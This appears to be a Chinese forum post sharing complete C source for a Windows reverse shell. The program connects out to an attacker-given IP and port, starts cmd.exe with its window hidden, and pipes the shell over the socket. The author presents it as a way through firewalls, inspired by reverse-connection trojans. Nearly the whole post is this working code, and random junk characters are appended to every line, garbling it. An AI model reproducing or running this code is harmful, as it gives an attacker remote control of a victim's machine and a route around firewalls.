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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }xM >F%  
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/* ============================== [P23.`G~J  
Rebound port in Windows NT g>O O '}lF  
By wind,2006/7 =XT}&D6  
===============================*/ 7$* O+bkn:  
#include V ZArdXTP  
#include ww"HV;i  
^h@1tFF  
#pragma comment(lib,"wsock32.lib") %7~~*_G  
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void OutputShell(); XZFM|=%X  
SOCKET sClient; _7"G&nZ0  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Pb^Mc <j  
("L&iu\`@  
void main(int argc,char **argv) Bzw!,(u/ "  
{ 4U;6 2 jq  
WSADATA stWsaData; k/ 9S  
int nRet; ^B|Q&1  
SOCKADDR_IN stSaiClient,stSaiServer; B@W`AD1^{  
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if(argc != 3) GwoN=  
{ le-Q&*  
printf("Useage:\n\rRebound DestIP DestPort\n"); 24 i00s|#  
return; A<VNttgG  
} amn\#_(  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ]D;X"2I2'b  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^sp+ sr :  
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stSaiClient.sin_family = AF_INET; SGREpOlJ+  
stSaiClient.sin_port = htons(0); ?x(]U+  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); F#w= z/  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1 f;k)x  
{ E$'Zd,|f=  
printf("Bind Socket Failed!\n"); Sb&[V>!2^  
return; #;32(II  
} o7*z@R"  
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stSaiServer.sin_family = AF_INET; Ty21-0 F  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); H7KcPN(0  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); BQcrF{q  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (gv1f  
{ A@X&d y  
printf("Connect Error!"); .*N,x0 B(  
return; E  K)7g~  
} VE<&0d<  
OutputShell(); m\88Etl@  
} o#-K,|-  
/^kZ}}9baU  
void OutputShell() \WnI&nu  
{ J<<0U;  
char szBuff[1024]; <= xmJx-V  
SECURITY_ATTRIBUTES stSecurityAttributes; +|N!(H  
OSVERSIONINFO stOsversionInfo; ,[lS)`G  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ix<sorR H  
STARTUPINFO stStartupInfo; k#I4^  
char *szShell; 5m`@ 4%)zp  
PROCESS_INFORMATION stProcessInformation; Su0[f/4m.Q  
unsigned long lBytesRead; Ccw6,2`&  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $W 46!U3  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); OA\2ja~+  
stSecurityAttributes.lpSecurityDescriptor = 0; .~+I"V{y F  
stSecurityAttributes.bInheritHandle = TRUE; d?RKobk  
(=d%Bn$6b  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); MZGN,[~)6  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {CM%QMM  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $q]:m+Fm  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?- 5{XrNm  
stStartupInfo.wShowWindow = SW_HIDE; T>l=0a #  
stStartupInfo.hStdInput = hReadPipe; W 2VH?-Gw  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xr uQ=Q  
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GetVersionEx(&stOsversionInfo); ;O*y$|+PA  
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switch(stOsversionInfo.dwPlatformId) ]>NP?S )R  
{ \dAh^BK1(  
case 1: )&"l3*x  
szShell = "command.com"; K<O1PrC  
break; :" 9 :J  
default: HL;y5o?  
szShell = "cmd.exe"; 2jTP (b2b  
break; ]VifDFL}  
} }|rnyYA  
hKq#i8py  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); NGD?.^ (G  
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send(sClient,szMsg,77,0); Iz/o|o]#  
while(1) fZ2>%IxG}  
{ P;D)5yP092  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); X'4g\)*  
if(lBytesRead) / c1=`OJ  
{ Fi+v:L|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); bq/*99``  
send(sClient,szBuff,lBytesRead,0); =@U~ sl [  
} b{|Ha3;w  
else Yyq:5V!  
{ S3V3<4CB  
lBytesRead=recv(sClient,szBuff,1024,0); w /$4 Rv+S  
if(lBytesRead<=0) break; p/|]])2  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); uFDJRQJ<  
} %oas IiO  
} 'u }|~u?m  
;iJ*.wVq  
return; 5CZii=@  
}
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